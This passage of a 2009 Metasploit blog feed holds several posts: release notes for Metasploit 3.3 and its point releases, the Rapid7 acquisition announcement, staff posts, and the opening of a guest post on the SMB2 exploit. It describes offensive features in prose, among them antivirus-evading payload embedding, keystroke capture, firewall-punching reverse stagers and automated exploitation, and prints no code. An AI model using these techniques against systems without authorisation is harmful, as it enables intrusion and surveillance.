href="http://www.metasploit.com/redmine/projects/framework/wiki/Release_Notes_331"&gt;Metasploit 3.3.1&lt;/a&gt;. This release marked a major change to how the Meterpreter backend processed commands; instead of running each request serially, the Meterpreter now spawns a background thread for each request. This allows for multiple scripts to access the same Meterpreter instance at the same time and vastly improves the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Pivoting"&gt;pivoting&lt;/a&gt; functionality. Version 3.3.2 also added support for a standards-compliant XMLRPC server, enhanced the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/NeXpose_Plugin"&gt;NeXpose Plugin&lt;/a&gt;, updated the Oracle mixins, cleaned up the database backend, and fixed 45 bugs. &lt;a href="http://www.rapid7.com/"&gt;Rapid7&lt;/a&gt; also released an update for &lt;a href="http://community.rapid7.com/redmine/projects/nexpose/wiki/Wiki"&gt;NeXpose Community Edition&lt;/a&gt; that provides PDF and HTML reporting and adds vulnerability checks for the past Microsoft Tuesday.&lt;br /&gt;&lt;br /&gt;We plan to release version 3.3.3 before the end of the year, with a focus on exploit ranking, improving the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/WMAP"&gt;WMAP&lt;/a&gt; web scanner, and expanding our WiFi functionality through Lorcon2.&lt;br /&gt;&lt;br /&gt;For those unfamiliar with WMAP, think of it as a web app scanner that has been deconstructed into individual tests. Every security test performed by WMAP can be executed as part of an automated scan or manually as an auxiliary module. Data from one type of scanner module can be fed into another type, which in turn gathers even more data, and so on. The slick part is that these modules have access to the entire Metasploit API, including exploits, payloads, and protocol stacks. It is completely possible to write a WMAP analysis module that leverages information from a web application to compromise another system (using leaked MSSQL credentials, etc). Recent (post 3.3.2) updates to WMAP included a massively expanded directory scanner (based on metasploit.com's own web logs) and updates to the underlying database schema. &lt;br /&gt;&lt;br /&gt;On the wireless front, Metasploit has had &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Karmetasploit"&gt;hostile AP&lt;/a&gt; and wireless driver (ring-0) &lt;a href="http://www.metasploit.com/redmine/projects/framework/repository/show/modules/exploits/windows/driver"&gt;exploits&lt;/a&gt; for many years, but until recently we had no way to watch WiFi traffic and interact with a specific device. With the introduction of Lorcon2 support in Metasploit 3.3, we can now port nearly any WiFi tool to a Metasploit module. Mike Kershaw has demonstrated this by porting &lt;a href="http://airpwn.sourceforge.net/Airpwn.html"&gt;airpwn&lt;/a&gt; and dnspwn to Metasploit, providing &lt;a href="http://www.metasploit.com/redmine/projects/framework/repository/show/modules/auxiliary/spoof/wifi"&gt;great examples&lt;/a&gt; of how to use the new API.&lt;br /&gt;&lt;br /&gt;As always, the best way to follow development is to watch the &lt;a href="http://www.metasploit.com/redmine/projects/framework/activity"&gt;activity log&lt;/a&gt; from the Metasploit tracker. The last few months have been a whirlwind of development, but the really fun stuff is yet to come :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-4006633781494184139?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/RXT8a3XXwpY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/4006633781494184139/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=4006633781494184139" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4006633781494184139?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4006633781494184139?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/RXT8a3XXwpY/meterpreter-pivoting-web-scanning.html" title="Meterpreter Pivoting, Web Scanning, Wireless, and More!" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/12/meterpreter-pivoting-web-scanning.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMMSXY-cCp7ImA9WxNaGEo.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-6939048460893374833</id><published>2009-12-03T08:04:00.001-08:00</published><updated>2009-12-03T12:01:28.858-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-03T12:01:28.858-08:00</app:edited><title>Metasploit 3.3.1 + NeXpose Community Edition</title><content type="html">On December 1st, Rapid7 announced the &lt;a href="http://www.rapid7.com/nexposecommunitydownload.jsp"&gt;Community Edition&lt;/a&gt; of the NeXpose vulnerability management product. At the same time, we released version &lt;a href="http://www.metasploit.com/framework/download/"&gt;3.3.1&lt;/a&gt; of the Metasploit Framework, which contains the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/NeXpose_Plugin"&gt;first step&lt;/a&gt; towards full integration between NeXpose and Metasploit. Since the release, we have made some major improvements based on community feedback and I wanted to take a minute to walk through some of the new features.&lt;br /&gt;&lt;br /&gt;The Community Edition of NeXpose is based on the same product as the enterprise versions, but it does have a &lt;a href="http://www.rapid7.com/products/how-to-buy.jsp"&gt;few restrictions&lt;/a&gt;. The community license limits the number of managed IPs to 32, disables web application scanning, and doesn't provide configurable scan templates or discovery mode. The Community Edition does not include commercial support, but a &lt;a href="http://community.rapid7.com/"&gt;Community Portal&lt;/a&gt; has been setup to answer common questions and promote discussion around the product. Other than that, it is essentially an enterprise-grade vulnerability management solution available at no cost. &lt;br /&gt;&lt;br /&gt;The Metasploit integration is implemented through the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/NeXpose_Plugin"&gt;NeXpose Plugin&lt;/a&gt;. This plugin can be loaded from the Metasploit console and provides the ability to launch vulnerability scans and automatically import the results using a NeXpose instance (either local or remote). Commercial penetration testing tools have had support for importing vulnerability data for a long time, but these products have left the vulnerability assessment and data import steps as a manual process. &lt;br /&gt;&lt;br /&gt;The NeXpose plugin not only combines these steps into a single command, but it can also automatically launch exploit modules after the scan is completed. As of update &lt;a href="http://www.metasploit.com/redmine/activity/"&gt;r7681&lt;/a&gt; this plugin can also launch scans based on a &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/NeXpose_Plugin#Discovery"&gt;existing database results&lt;/a&gt;, such as those imported through Nmap and other tools. Even if you don't actually use Metasploit on a day-to-day basis, this plugin can be useful in that it tells you what Metasploit modules could potentially compromise a target and help prioritize remediation efforts.&lt;br /&gt;&lt;br /&gt;For more information on the NeXpose plugin, including a walkthrough on using the plugin to automatically scan and compromise a target, please see the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/NeXpose_Plugin"&gt;Quick Start Guide&lt;/a&gt; on the Metasploit wiki.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-6939048460893374833?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/YDb-qOF1ybo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/6939048460893374833/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=6939048460893374833" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6939048460893374833?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6939048460893374833?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/YDb-qOF1ybo/metasploit-331-nexpose-community.html" title="Metasploit 3.3.1 + NeXpose Community Edition" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/12/metasploit-331-nexpose-community.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMCR3k5eCp7ImA9WxNbFEU.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-8994840685656568965</id><published>2009-11-17T05:04:00.001-08:00</published><updated>2009-11-17T10:44:26.720-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-17T10:44:26.720-08:00</app:edited><title>Metasploit Framework 3.3  Released!</title><content type="html">We are excited to announce the &lt;a href="http://www.metasploit.com/framework/download/"&gt;immediate availability&lt;/a&gt; of version 3.3 of the Metasploit Framework. This release includes &lt;a href="http://www.metasploit.com/modules/exploit/"&gt;446 exploits&lt;/a&gt;, &lt;a href="http://www.metasploit.com/modules/auxiliary/"&gt;216 auxiliary modules&lt;/a&gt;, and &lt;a href="http://www.metasploit.com/modules/payload/"&gt;hundreds of payloads&lt;/a&gt;, including an in-memory VNC service and the Meterpreter.  In addition, the Windows payloads now support NX, DEP, IPv6, and the Windows 7 platform.  More than &lt;a href="http://www.metasploit.com/redmine/projects/framework/changelog#Metasploit%203.3"&gt;180 bugs&lt;/a&gt; were fixed since last year’s release of version 3.2, making this one of the more well-tested releases yet.&lt;br /&gt;&lt;br /&gt;Metasploit runs on all modern operating systems, including Linux, Windows, Mac OS X, and most flavors of BSD.  Metasploit has been used on a wide range of hardware platforms, from massive Unix mainframes to the Apple® iPhone™.  Installers are available for the Windows and Linux platforms, bundling all dependencies into a single package for ease of installation.  The latest version of the Metasploit Framework, as well as images, video demonstrations, documentation and installation instructions for many platforms, can be found online at http://www.metasploit.com/framework/. &lt;br /&gt;&lt;br /&gt;This release of the Metasploit Framework was driven by numerous key contributors, including James Lee, Yoann Guillot, Steve Tornio, MC, Chris Gates, Alexander Kornbrust, Ramon Valle, Stephen Fewer, Ryan  Linn, Lurene Grenier, Mike Kershaw, Patrick Webster, Max Moser, Efrain Torres, Alexander Sotirov, Ty Bodell, Joshua Drake, JR, Carlos Perez, Kris Katterjohn and many others.&lt;br /&gt;&lt;br /&gt;The startup speed up the Metasploit Console and all utilities has been greatly improved due to performance patches by Yoann Guillot and a string processing overhaul by James Lee. Metasploit now fully supports the 1.9.1 version of the Ruby interpreter, clearing the way for support under a variety of alternate Ruby VMs in the future.&lt;br /&gt;&lt;br /&gt;The Windows installation now includes a fully-functional console interface, using Cygwin and RXVT as a front-end to the framework.  The Windows installer now runs on all supported versions of Windows, from Windows 2000 to Windows 7.  The Windows version of Metasploit is now portable and can be silently installed via the /S /D=Dest parameters.&lt;br /&gt;&lt;br /&gt;The Linux installers now include everything needed to run the Metasploit Framework on most versions of Linux released over the last five years.  The official Linux installers are recommended for anyone using a Linux distribution other than Ubuntu (8.04+).  These installers include Ruby 1.9.1, Subversion 1.6.6, and all dependencies, along with convenient scripts for keeping the framework updated.&lt;br /&gt;&lt;br /&gt;The Metasploit Console now indicates how many days have passed since the last update, reminding users when their installation becomes out of date.  The console now uses a Ruby implementation of the Readline library by default, solving a number of issues with Mac OS X and other platforms with broken Readline support.  The console now supports and enables ANSI colors by default, making it much easier to discern between errors and status messages on a busy terminal.&lt;br /&gt;&lt;br /&gt;The database functionality is now enabled by default, as long RubyGems and at least one database driver is available on the system.  The db_drivername plugins are deprecated and the db_driver and db_create commands are active by default.  The db commands now support filters for everything from open ports to IP ranges.  The db_autopwn command now cross-references across multiple ports and services name instead of a single port, when the -p parameter is supplied.&lt;br /&gt;&lt;br /&gt;All applicable exploits now have OSVDB references thanks to a major effort by Steve Tornio. Two-ways links have been setup between the Metasploit module browser and their matching OSVDB entries.  CVE references have been audited across the entire module tree, with a number of typos and other fixes corrected in the process.&lt;br /&gt;&lt;br /&gt;Oracle exploit support has been implemented through a tag-team effort between MC and Chris Gates, with assistance from Alexander Kornbrust.  Oracle modules have been developed for exploiting TNS protocol stack and Web-based Oracle services, as well as post-authentication database-level privilege escalation flaws.  Microsoft SQL Server support has been overhauled, with the addition of a brand new native Ruby TDS driver exclusive to the Metasploit Framework and a large number of new modules.  Microsoft SQL Server 2000 through 2008 versions have been tested with the new modules.  The MSSQL and Oracle login modules can now brute force passwords from a dictionary file.&lt;br /&gt;&lt;br /&gt;Automated client-side exploitation has been overhauled with a rewrite of the browser_autopwn module by James Lee.  A number of existing client-side exploits have been updated to use better fingerprinting and evasion techniques.  All TCP-based exploits can now be launched through SOCKS4, SOCKS5, and HTTP proxies.&lt;br /&gt;&lt;br /&gt;The payload encoding library can now embed Metasploit payloads into arbitrary executables.  The -x parameter to msfencode allows an arbitrary executable to be used as a vector for a Metasploit payload.  This significantly reduces the impact of anti-virus tests during penetration tests and allows the use of familiar executables in social engineering endeavors.  Payloads can be generated as VBA macros for insertion into Word documents, as Windows Scripting Hosts scripts and the standard formats (C, Ruby, Javascript, etc).&lt;br /&gt;&lt;br /&gt;Metasploit now supports 64-bit Windows as a target platform, with the ability to use standard stagers, generate executables with embedded payloads and load Meterpeter on 64-bit systems. Metasploit now supports 64-bit Linux on the PowerPC architecture as a target platform.  The alphanumeric encoders have seen a number of bug fixes and improvements since version 3.2, including the ability to prepend alphanumeric GetEIP code via the AllowWin32SEH parameter.&lt;br /&gt; &lt;br /&gt;AIX support as a target platform has been improved, with a number of additional payloads and an exploit module for the newly discovered rpc_ttdbserverd realpath vulnerability.  These payloads support versions 5.3.7 through 6.1.4 of the AIX platform and work with auxiliary modules and the database to select the right syscall numbers for each particular operating system revision. 64-bit PowerPC Linux is now supported on the POWER and Cell Broadband chips through an effort by Ramon Valle of &lt;a href="http://www.risesecurity.org/"&gt;RISE Security&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The reverse_tcp stager now has a configurable number of retries (ReverseConnectRetries) and exits gracefully if the connection fails.  The reverse_tcp_allports stager will cycle through all possible outbound ports in order to punch through host or network firewalls.  The standard Windows stagers were overhauled to use a new hashing method, support Windows 7, allocate their own memory during staging and avoid a middle stager by performing their own reliable transfer mechanism.  The new stager development was driven by Stephen Fewer of Harmony Security. &lt;br /&gt;&lt;br /&gt;Support for JSP payloads has been integrated, opening the door for new exploit modules for Java-based application engines, like Bea and Tomcat.  The existing CMD, PHP, Ruby and Perl payloads have all seen a revamp and update to their compatibility-matching system.&lt;br /&gt;&lt;br /&gt;Auxiliary scanner modules now instantiate a new module instance for each thread, allowing more of the exploit mixins to be used to develop network scanners.  This greatly improved the reliability of the existing scanners and allowed for dozens of new ones to be developed.  Scanner modules now report their progress as they scan the network and the frequency of reports can be controlled through advanced options.&lt;br /&gt;&lt;br /&gt;A simple fuzzer API has been added as a mixin, along with over a dozen new fuzzer modules that demonstrate their use and capabilities.  While fuzzing is not the focus of the framework, the API is easy to use and can meet the requirements of many on-the-spot service tests.  Ryan Linn's HTTP NTLM capture module has been integrated into the framework. &lt;br /&gt;&lt;br /&gt;Support for the DECT COM-ON-AIR driver has been integrated into Metasploit, along with two example modules for locating DECT base stations and detecting active calls.  The Lorcon2 library is now supported through a new ruby-lorcon2 Ruby extension and exploit mixin.  All existing modules using the old Lorcon API have been ported.  The airpwn and dnspwn modules developed by Mike Kershaw (also one of the Lorcon2 authors) have been integrated into the framework.  The pcaprub Ruby extension has been updated to build on Ruby 1.9.1.  Max Moser's pSnuffle packet sniffer (modeled after dsniff) has been integrated into the framework.&lt;br /&gt;&lt;br /&gt;The Meterpreter and VNC injection payloads now use Stephen Fewer's Reflective DLL injection technique; the previous DLL injection stages have been renamed and will be deprecated in a future release.  The Meterpreter now negotiates a full SSL link after the staging process has been completed, even going so far as to fake a HTTP request over the SSL session to mimic the traffic profile of a normal web browser.  The Metepreter AutoRunScript parameter can now support multiple scripts with arguments.  The Meterpreter can now take screen shots, provided that the process has access to the desktop (e.g. migrated into explorer.exe), using the ESPIA extension developed by Efrain Torres. &lt;br /&gt;&lt;br /&gt;The Meterpreter can now capture traffic from the compromised system, using an in-memory sniffing extension based on the MicroOLAP Packet Sniffing SDK.  This feature creates a ring buffer of up to 200,000 packets, allowing a snapshot to be downloaded and converted to a standard pcap log file.  The Meterpreter can now capture keystrokes, including those of console logins, by migrating in the appropriate process and using the keyscan commands.  The long-missing "rm" command has finally been added to the Meterpreter command line.  The "background" command has been added for situations when using ^Z is not feasible.  Alexander Sotirov's METSVC has been added to the framework and a Meterpreter script has been included to automatically deploy it on a compromised system.&lt;br /&gt;&lt;br /&gt;The beginnings of POSIX support have been implemented by JR, targeting the Linux and BSD platforms. The stdapi extension for POSIX has been partially completed and should continue to improve going forward. &lt;br /&gt;&lt;br /&gt;All Metepreter scripts now support the "-h" parameter for usage. As of Metasploit 3.3, there are almost 30 different Metepreter scripts included in the release, many of which were exclusively written by Carlos Perez.&lt;br /&gt;&lt;br /&gt;Enjoy the release!&lt;br /&gt;&lt;br /&gt;-HD&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-8994840685656568965?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/VGV1oG5_aq0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/8994840685656568965/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=8994840685656568965" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/8994840685656568965?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/8994840685656568965?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/VGV1oG5_aq0/metasploit-framework-33-released.html" title="Metasploit Framework 3.3  Released!" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/11/metasploit-framework-33-released.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcHSX05cCp7ImA9WxNUF04.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-7674579389675304128</id><published>2009-11-08T18:32:00.000-08:00</published><updated>2009-11-08T18:33:58.328-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-08T18:33:58.328-08:00</app:edited><title>A refreshing new direction</title><content type="html">For those of you who don't know me, I have been a developer and computer security enthusiast for many years. I have been involved in computer security, specifically, for the last ten years. The first six years were as an independent research and hobbyist. I have spent the last four years working professionally as a software vulnerability researcher.&lt;br /&gt;&lt;br /&gt;Tomorrow I will become the latest addition to the Metasploit and Rapid7 team, filling the Exploit Developer position. I am truly honored to have the chance to be part of such a talented team. Contributing to the Metasploit Framework has been a wish of mine for a while. Now, with countless thanks to Rapid7 and HD Moore, I get to do it full time!&lt;br /&gt;&lt;br /&gt;I am very excited to have the opportunity to combine two of my passions (development and computer security) to ensure that more code exists which executes code! I look forward to finding out what wonders the future holds!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-7674579389675304128?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/BonChwgCzJ4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/7674579389675304128/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=7674579389675304128" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7674579389675304128?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7674579389675304128?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/BonChwgCzJ4/refreshing-new-direction.html" title="A refreshing new direction" /><author><name>jduck</name><uri>http://www.blogger.com/profile/08277186239477077950</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="10396195643114445728" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/11/refreshing-new-direction.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEEQHw_eSp7ImA9WxNVEU4.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-3079592331468655137</id><published>2009-10-21T07:00:00.001-07:00</published><updated>2009-10-21T07:00:01.241-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-21T07:00:01.241-07:00</app:edited><title>Joining the Team</title><content type="html">When I started learning about programming I thought, "Man, wouldn't it be awesome if I could get somebody to pay me to write code all day?"  Not too long after that I started learning about security.  Then I thought, "Man, wouldn't it be awesome if I could get somebody to pay me to break things all day?"  As luck would have it, I've now found someone to pay me to write code that breaks things.&lt;br /&gt;&lt;br /&gt;Today, &lt;a href="http://www.rapid7.com/metasploit-announcement.jsp"&gt;Rapid7 announced its acquisition of Metasploit&lt;/a&gt;.  Along with that acquisition, my weekend hobbyist role will soon become full-time employment as Core Developer.  From the perspective of the framework, it means there will be a dedicated, fully funded development team where there used to be just a few volunteers hacking away on the weekends.  It means there will be more time to do proper quality assurance.  It means fewer bugs.  More exploits.  Faster development.  It means a bit more organization and planning; decisions based on long term goals and design, not just what's shiny to me right now.  Code won't have to languish waiting for updates or rewrites for lack of a long weekend.  New features won't have to sit patiently in comments or tickets waiting to be implemented because we're all busy at our day jobs. Now, Metasploit &lt;span style="font-style: italic;"&gt;is&lt;/span&gt; our day job.&lt;br /&gt;&lt;br /&gt;From a user's perspective Metasploit will still be free.  All of the important bits are going to remain open-source, a point that was very important to me, since its open nature is what drew me to Metasploit in the first place and what, I believe, attracts many of its users and contributors.  It is likely that the license will be 3-clause BSD for all (or nearly all) of the code I write.  Free code is happy code. &lt;br /&gt;&lt;br /&gt;From my perspective, it's going to be awesome.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-3079592331468655137?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/DE-JFlGXRjw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/3079592331468655137/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=3079592331468655137" title="19 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/3079592331468655137?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/3079592331468655137?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/DE-JFlGXRjw/joining-team.html" title="Joining the Team" /><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="13715053912532715439" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">19</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/10/joining-team.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUBRHw_eip7ImA9WxNVEU4.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-699679417109623817</id><published>2009-10-21T07:00:00.000-07:00</published><updated>2009-10-21T06:04:15.242-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-21T06:04:15.242-07:00</app:edited><title>Metasploit Rising</title><content type="html">I created the Metasploit Project over six years ago as way to publish security information to those who needed it most, the security professionals in the field. The project has evolved from a personal web site, to a collaborative effort with a small group of friends, and finally to the robust community-driven project that we know today. This progress came at the cost of the evenings, lunch hours, early mornings, and weekends of countless contributors who donate their time for the benefit of the community. The volunteer nature of the project has lead to innovation in niche areas and has driven research across a wide range of topics. &lt;br /&gt;&lt;br /&gt;During this time, Metasploit has always been a hobby; something I enjoy working on when my current job isn't monopolizing my free time. The project has always taken a back seat to the demands of day to day employment and this has created a bottleneck in terms of project growth. We now receive far more contributions, feature requests, and bug reports that the core team can keep up with in their free time. The project has come a long way, but nearly all patches, module submissions, and new features are still processed by only a few people. The time it takes for us to cut a release has increased as well; it has been almost a year since the last stable version of the Framework was released, with hundreds of new features  in the development tree, but no time to test them well enough to consider them ready for a stable release. &lt;br /&gt;&lt;br /&gt;All of this is changing. I am excited to announce that Metasploit has been &lt;a href="http://www.rapid7.com/metasploit-announcement.jsp"&gt;acquired by Rapid7&lt;/a&gt; and that myself and Egypt will be working on Metasploit as our full-time jobs. I will be taking on the role of Chief Security Officer of Rapid7 as well as Chief Architect of Metasploit. Egypt will join as our first core developer. In addition, we are hiring an exploit developer, user interface designer, and mostly importantly, a QA engineer, all dedicated to making the Metasploit Framework the best penetration testing product available. Rapid7 has committed to keeping the project open source, with no plans to change the license or the community development model. What will be changing is how fast we add new exploits, integrate new features, and release new versions. By backing Metasploit, Rapid7 will benefit from the extensive security research experience of the Metasploit team and use this to enhance its existing NeXpose product line. &lt;br /&gt;&lt;br /&gt;Rapid7 was the right company for Metasploit for a number of reasons. First and foremost, they understand the value of the community have seen the benefits that funding a project like Metasploit can provide since our first conversation. Second, the management team at Rapid7 is made up of some brilliant folks. They may not be exploit developers, but they understand business and how to make a marriage with Metasploit increase their own bottom line without destroying the value of project in the process. Third, Rapid7 has an amazing technical staff and a solid vulnerability management product. There are only a few companies in the world that understand how much work is involved in doing vulnerability assessments right, and this team has been doing it for over 9 years. Lastly, Rapid7 has an enormous QA lab, with the ability to perform regression testing across a massive array of operating systems and patch levels. The combination of their staff and technical resources will allow the Metasploit Framework to make a huge leap ahead in the coming months. &lt;br /&gt;&lt;br /&gt;To the members of the community who have been contributing their time and mindshare, thank you! The best way to show our dedication is by demonstrating that we mean what we say. In the next six months, we will hammering out Metasploit Framework releases that benefit from the dedicated resources provided by Rapid7 and illustrate exactly what we can do now that we can fully focus on the framework. If you have any questions or comments, you can email me at hdm[at]metasploit.com or join our IRC channel (#metasploit on irc.freenode.net). The Metasploit web site has been updated to include a FAQ about the acquisition, as well as links to the announcement on the Rapid7 web site as well. &lt;br /&gt;&lt;br /&gt;Sincerely,&lt;br /&gt;&lt;br /&gt;HD Moore&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-699679417109623817?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/THvAVzyC1UY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/699679417109623817/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=699679417109623817" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/699679417109623817?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/699679417109623817?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/THvAVzyC1UY/metasploit-rising.html" title="Metasploit Rising" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/10/metasploit-rising.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEAEQnkzeyp7ImA9WxNXGE4.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-7598284269692676813</id><published>2009-10-04T15:30:00.000-07:00</published><updated>2009-10-06T05:38:23.783-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-06T05:38:23.783-07:00</app:edited><title>SMB2: 351 Packets from the Trampoline</title><content type="html">This a guest blog entry written by &lt;a href="http://www.piotrbania.com/"&gt;Piotr Bania &lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Disclaimer&lt;/b&gt;&lt;br /&gt;The author takes no responsibility for any actions taken using the provided information or code. This article is copyright (C) 2009 Piotr Bania, all rights reserved. Any duplication of code or text provided here in electronic or printed publications is not permitted without the author's agreement.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Prologue&lt;/b&gt;&lt;br /&gt;About a month ago Laurent Gaffié &lt;a href="http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html"&gt;released an advisory&lt;/a&gt; in which he described the SMB 2.0 NEGOTIATE PROTOCOL REQUEST Remote BSoD vulnerability. Fortunately for some and unfortunately for others this vulnerability is remotely exploitable. At the time of writing, there are only two exploits available for this flaw, one written by Immunity Inc., which only provides a copy to paying customers, and one written by Stephen Fewer and &lt;a href="http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb"&gt;included&lt;/a&gt; in the Metasploit Framework.  Unfortunately, Stephen Fewer's exploit seems to be unreliable against physical machines (vs VMs) due to a hardcoded address from the BIOS/HAL memory region (0xFFD00D09) which must be initiated to "POP ESI; RET". In this article I am going to describe a method for exploiting this vulnerability that only requires a stable absolute memory address (filled with NULL bytes).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step One. Where to?&lt;/b&gt;&lt;br /&gt;First, lets take a look at the vulnerable code, we will assume a Windows Vista SP2 operating system and SRV2.SYS version 6.0.6002.18005: &lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/vuln_code.png" 